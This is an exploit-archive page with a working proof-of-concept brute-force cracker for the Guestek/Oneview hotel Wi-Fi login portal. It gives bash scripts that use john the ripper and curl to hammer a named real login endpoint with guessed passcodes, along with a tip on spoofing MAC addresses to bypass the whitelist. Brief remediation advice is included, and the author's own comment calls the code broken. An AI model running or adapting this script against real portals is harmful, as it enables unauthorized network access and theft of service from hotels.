ignore security and it'll go away

Guestek / Oneview Wireless Cracker

Guestek / Oneview Wireless Cracker
Posted Jan 4, 2012
Authored by Skraps

Proof of concept WiFi cracking code for Guestek / Oneview systems as found in Extended Stay of America hotels.

tags | cracker, proof of concept
MD5 | cd58f968bb374c9c68857247dbf05792

Guestek / Oneview Wireless Cracker

Change Mirror Download
# Exploit Title: Guestek / Oneview - Extended Stay 5 dollar crack 
# Date: 2012-01-04 ( The end is near!! )
# Author: Skraps, Jackie Craig Sparks(jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: https://login.globalsuite.net
# Version: 2 (tested), same idea works on older systems
# Spamvertise: https://www.facebook.com/Boycottcpanel - Join the boycott

This is a popular login system for Extended Stay of America hotels. Basically every since I was 21 they always started their passcodes with the letter D. They are also 4 characters in length and always in uppercase letters. So That leaves us with a little less than 45000 possibilities that our passcode could be. The guestek system also uses does not protect against brute force attacks. So with the fail script below in a matter of 3-4 hours or less we can slam it 10-15 passcodes a second. With out degrading system performance. Then within the 4 hours at some point we have free internet.

They also use mac address whitelisting so the code changed on Jan 1st but I've still been able to connect since then doing my testing by changing my mac address.

The solution use stronger passcodes, also add bruteforce protection so after 20 failed attempts(I have made over 100k while testing) block the mac address, set a cookie also with a code so the web app knows not to allow access to the login prompt. Make mac address whitelist clear after 24 hours and use a cookie on the clients box to verify user before adding them back to the mac white list.

------PoC------
Script needs curl( curl.haxx.se ) and john the ripper ( www.openwall.com/john ) .

usage - ./oneveiw.sh - then just wait.

oneview.sh-
#!/bin/bash
curl -s --location https://login.globalsuite.net/v2/Login
count=0
pcount=0
pmax=30
[ ! -e ./oneviewdebug ] && mkdir debug
[ -e ./oneviewpass ] && rm oneviewpass

for a in `john --incremental:alnum --stdout:3 | tr '[a-z]' '[A-Z]'`;do
if [ ${#a} -gt 2 ]; then
./curloneview.sh D${a} &
count=$(($count + 1))
pcount=`ps aux | grep curl | wc -l`

if (( $pcount > $pmax )); then
sleep 2
fi

if [ -e ./oneviewpass ];then
echo "Password found";
cat ./oneviewpass
rm -fr ./oneviewdebug
exit
fi
fi
done
[ -e ./debug ] && rm -fr ./oneviewdebug
--EOF--
curloneview.sh-
#!/bin/bash
pass="$1";
echo -ne "Trying ${pass} \r"
function curlit(){
curl -s -d "passcode=${pass}&firstname=joe&lastname=swanson&companyname=help%40juno.com" --output "./oneviewdebug/${pass}output.txt" --referer https://login.globalsuite.net/v2/Login --location https://login.globalsuite.net/v2/globalnet/ProcessPasscode

}

function chkpass(){

chk=`grep "#alert-error#_#AJAX#_# Invalid passcode entered" ./oneviewdebug/${pass}output.txt`

if [ "$chk" != "#alert-error#_#AJAX#_# Invalid passcode entered" ];then
echo "Password is ${pass}"
echo ${pass} > ./oneviewpass
fi

}

while [ ! -e "./oneviewdebug/${pass}output.txt" ]; do
curlit
done
chkpass

Comments (1)

RSS Feed Subscribe to this comment feed
skraps

That one is totally broken - neworder.box.sk/content.php/579-Ext…

Comment by skraps
2012-01-05 21:29:09 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close